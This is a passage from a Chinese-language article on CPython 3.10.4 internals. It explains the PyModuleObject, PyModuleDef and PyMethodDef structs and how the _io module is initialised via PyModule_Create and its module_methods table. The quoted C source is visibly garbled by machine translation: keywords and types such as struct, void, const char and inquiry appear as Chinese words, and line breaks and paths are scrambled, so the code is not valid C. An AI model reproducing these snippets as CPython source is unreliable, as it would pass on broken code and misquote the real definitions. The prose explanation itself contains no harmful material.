    { "__self__" ,  ( getter ) meth_get__self__,  NULL ,  NULL }, 
    { "__text_signature__" ,  ( getter ) meth_get__text_signature__ ,  NULL ,  NULL }, 
    { 0 } };

4.3.2 构建_io模块的初始化

看下PyModuleObject结构体的定义。

//3.10.4 //包含\internal\ pycore_moduleobject.h typedef  struct  { 
    PyObject_HEAD 
    PyObject  * 


    
md_dict ; 
    结构 PyModuleDef  * md_def ; 
    无效 * md_state ; 
    PyObject  * md_weaklist ; 
    // 用于清除 md_dict 后的日志记录
    PyObject  * md_name ; }  PyModuleObject ;

PyModuleObject和PyCFunctionObject一个描述自己的结构体，分别是PyModuleDef、PyMethodDef。

//3.10.4 //Include\moduleobject.h typedef  struct  PyModuleDef { 
  PyModuleDef_Base  m_base ; 
  常量 字符*  m_name ; 
  


    
常量 字符*  m_doc ; 
  Py_ssize_t  m_size ; 
  PyMethodDef  * m_methods ; 
  结构 PyModuleDef_Slot *  m_slots ; 
  traverseproc  m_traverse ; 
  查询 m_clear ; 
  freefunc  m_free ; }  PyModuleDef ;//包含\ methodobject.h struct  PyMethodDef  { 
    const  char   * ml_name ;    /* 内置函数/方法的名称 */ 
    PyCFunction  ml_meth ;     /* 实现它的 C 函数 */ 
    int          ml_flags 


    
;    /* METH_xxx 标志的组合，主要                               描述 C func 预期的参数 */ 
    const  char   * ml_doc ;     /* __doc__ 属性，或 NULL */ }; typedef  struct  PyMethodDef  PyMethodDef ;

基本结构体说完了，看看模块的初始化_io，_PyIO_Module是_io的描述，里面包含了PyMethodDef module_methods，有一个open方法的描述_IO_OPEN_METHODDEF。

//3.10.4 //Modules\_io\_iomodule.c PyMODINIT_FUNC PyInit__io ( void ) { 
    PyObject  * m  =  PyModule_Create ( & _PyIO_Module ); 
    …… }


    
//Include\modsupport.h #ifdef Py_LIMITED_API #define PyModule_Create(module) \         PyModule_Create2(module, PYTHON_ABI_VERSION) #else #define PyModule_Create(module) \         PyModule_Create2(module, PYTHON_API_VERSION) #endif//Modules\_io\clinic\_iomodule.ch #define _IO_OPEN_METHODDEF \     {"open", (PyCFunction)(void(*)(void))_io_open, METH_FASTCALL|METH_KEYWORDS, _io_open__doc__},//Modules\_io\_iomodule.c static  PyMethodDef  module_methods []  =  { 
    _IO_OPEN_METHODDEF 
    _IO_TEXT_ENCODING_METHODDEF 
    _IO_OPEN_CODE_METHODDEF 
    { NULL ,  NULL } };结构 PyModuleDef  _PyIO_Module  =  { 
    PyModuleDef_HEAD_INIT , 
    "io" , 
    module_doc , 
    sizeof ( _PyIO_State 


    
), 
    module_methods , 
    NULL , 
    iomodule_traverse , 
    iomodule_clear , 
    ( freefunc ) iomodule_free , };